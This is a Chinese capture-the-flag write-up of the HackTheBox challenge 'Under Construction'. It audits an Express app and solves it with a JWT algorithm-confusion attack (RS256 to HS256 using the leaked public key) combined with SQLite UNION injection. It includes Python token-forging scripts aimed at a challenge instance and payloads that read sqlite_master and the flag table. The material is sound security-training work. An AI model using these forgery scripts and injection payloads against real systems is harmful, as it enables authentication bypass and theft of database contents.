HTB_Under Construction—jwt伪造与sqlite注入

根据提示,此题目应该是代码审计类型的,文件结构如下

在这里插入图片描述

一般思路有两个,一是看有没有什么敏感信息,二就是看参数传递的地方能否利用,包括注入,伪造等

分析代码

index.js

先来分析入口文件,这是标准的web应用程序的入口文件,含义如下,看起来没有什么需要重点关注的地方

在这里插入图片描述

(这两天看到一些接入chatgpt开发的代码分析程序,过一阵人人都能手撕代码审计逆向和pwn题了😄)

package.json

此文件是一些配置以及版本信息,常出现漏洞的地方就是 express框架的利用,例如:express框架一些渗透技巧jwt的伪造,例如:攻击JWT的一些方法

在这里插入图片描述

views/index.html

此文件是一个普通web页面,显示一些基本信息和用户名 (xss漏洞一般很难遇到并利用)

在这里插入图片描述

views/auth.html

这是登录注册页面,接收用户名密码并传递到服务端,正确跳转到内容页面,错误返回此页面,它的后端实现函数在 routes/index.js 中

在这里插入图片描述

routes/index.js

共四个部分,是路由限制功能的实现

// 判断用户名是否存在 存在则跳转到 index 页面 不存在则返回错误信息
router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});
// 请求 auth 页面 并将 req.query 的值传递给 auth.html 页面
router.get('/auth', (req, res) => 
    res.render('auth.html', { query: req.query }));
// 退出清空 session
router.get('/logout', (req, res) => {
    res.clearCookie('session');
    return res.redirect('/auth');
});
// 检查请求中是否有 register 字段 存在:则会尝试创建一个新用户 并将其添加到数据库中 还会检查username和password是否已定义并且是否为空 如果是:重定向到 auth页面
router.post('/auth', async (req, res) => {
    const { username, password } = req.body;
    if((username !== undefined && username.trim().length === 0) 
        || (password !== undefined && password.trim().length === 0)){
        return res.redirect('/auth');
    }
    if(req.body.register !== undefined){
        let canRegister = await DBHelper.checkUser(username);
        if(!canRegister){
            return res.redirect('/auth?error=Username already exists');
        }
        DBHelper.createUser(username, password);
        return res.redirect('/auth?error=Registered successfully&type=success');
    }}
// 验证用户名密码 如果验证成功 路由处理程序将创建一个新的JWT令牌 并使用其签名中的数据(这里是用户名)将其存储在 cookie 中 最后 路由处理程序将重定向用户到网站的根路径 让他们访问仅对已登录用户开放的资源
    let canLogin = await DBHelper.attemptLogin(username, password);
    if(!canLogin){
        return res.redirect('/auth?error=Invalid username or password');
    }
    let token = await JWTHelper.sign({
        username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
    })
    res.cookie('session', token, { maxAge: 900000 });
    return res.redirect('/');

在这里插入图片描述

middleware/AuthMiddleware.js

此程序判断 session 不为空时,将其解码,取出其中的用户名以便后续使用

module.exports = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) return res.redirect('/auth');
        let data = await JWTHelper.decode(req.cookies.session);
        req.data = {
            username: data.username
        }
        next();
    } catch(e) {
        console.log(e);
        return res.status(500).send('Internal server error');
    }
}

helpers/DBHelper.js

数据库连接的代码就不看了,下面这几个函数都是数据库操作语句,没有看到过滤函数,所以可以尝试注入

getUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
			...
	});});},
checkUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
			...
	});});},
createUser(username, password){
	let query = 'INSERT INTO users(username, password) VALUES(?,?)';
	let stmt = db.prepare(query);
	stmt.run(username, password);
	stmt.finalize();
},
attemptLogin(username, password){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
			...
	});});}

helpers/JWTHelper.js

这就是 jwt 的生成 token 的加解密过程

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

什么是 jwt

本题大致思路就是生成 jwt 格式的 token 将我们的 sql 注入的语句传递到服务器,首先了解一下 jwt

说白了,也是一种身份验证的令牌,类似 session、cookie、token ,格式为 header.payload.signature

在这里插入图片描述

与其他令牌不同的是,它只需要在服务器端存储一个私钥,就可以使用签名算法验证数据

header: 常用字段如下 alg指定了token加密使用的算法 (最常用的为HMAC和RSA算法) typ声明类型为JWT
使用 base64 编码
{
  "alg": "RS256",
  "typ": "JWT"
}
payload: 通常为传递的数据 同样使用 base64 编码
signature:使用header中的算法将 header+payload 加密计算

这样,服务端使用私钥解密签名数据,如果能够和前面对上,就证明是可信的数据,非对称加密的安全性是通过私钥不被泄露来保证的,那么如何利用呢?

基本是通过修改加密方式来利用,如修改为空算法或对称加密算法

解题

注册登录,生成的签名可以到👉解密 jwt解密

可以看到解密出了公钥

在这里插入图片描述

使用如下方法验证公钥的准确性

import jwt

public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
decoded = jwt.decode("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2ODI0MDQ1NDR9.0whAAfQszbnS1WeX0kdtRXbe2Qoml8VG5dIt2nf69sla9dFlbFRCpr5rJ3pwgUMChJajmzltM7D67sOuDFijhQS8pdwe-M4I-31mV9S7oF4Hmal_U9XIZShJ8gr0Tj7dSGatrzn1woH05pj7-nKZJHXv6-iskQcv5EZq1ZyaVn60T1linazzjGoaOR3MN6fP-1Zbi8Ux6QWvP_1WphKIBDsOgbNq3mKyPdeYwNXOgdypFjl3wKJ_u_z7ysIMCgco0HIaLrYa1jNLpbCL31DnSiKLy3zvrRmWzyux_BkI8VPMRYz3eo0yGv4q2yviZcxEVfr4kR1HKRhuqImoIXhkzA",public_key,algorithms=["RS256"])
print(decoded)

在这里插入图片描述

使用 jwt 公钥加密的方式也很简单,修改加密算法为 HS256

import jwt
payload= {
  "username": "test",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1682404544}
public = payload.get("pk")
encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
print(encoded_jwt)

运行时报错

在这里插入图片描述

需要注释一下代码

在这里插入图片描述

此时就可以尝试sql注入了,初步的 exp 如下,username 就是我们的注入语句

import jwt
import requests

def gen_jwt_token(username):
	payload= {
	  "username": username,
	  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
	  "iat": 1682404544}
	public = payload.get("pk")
	encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
	#print(encoded_jwt)
	get_resp(encoded_jwt)

def get_resp(token):
	headers={
		"cookie": "session=" + token
	}
	url = "http://161.35.36.167:30914/"
	response = requests.get(url,headers=headers).text
	print(response)


if __name__=='__main__':
	username = "test' union select 1,2,3--+ "
	gen_jwt_token(username)

发现在此处有回显

在这里插入图片描述

注意,这里使用的是 sqlite 数据库,所以函数有一些区别,比如它是没有 database()函数的,正巧,之前学习 android开发时接触过 Android开发基础 在利用语句章节

# 查数据库表名和字段名 结果一起返回
username = "test' union select 1,sql,3 from sqlite_master--+ "

在这里插入图片描述

# 查数据
username = "test' union select id,top_secret_flaag,3 from flag_storage--+ "

最终查询到 flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值